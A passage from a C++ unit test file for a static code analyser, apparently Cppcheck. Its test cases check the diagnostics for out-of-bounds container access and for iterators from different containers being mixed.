[containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 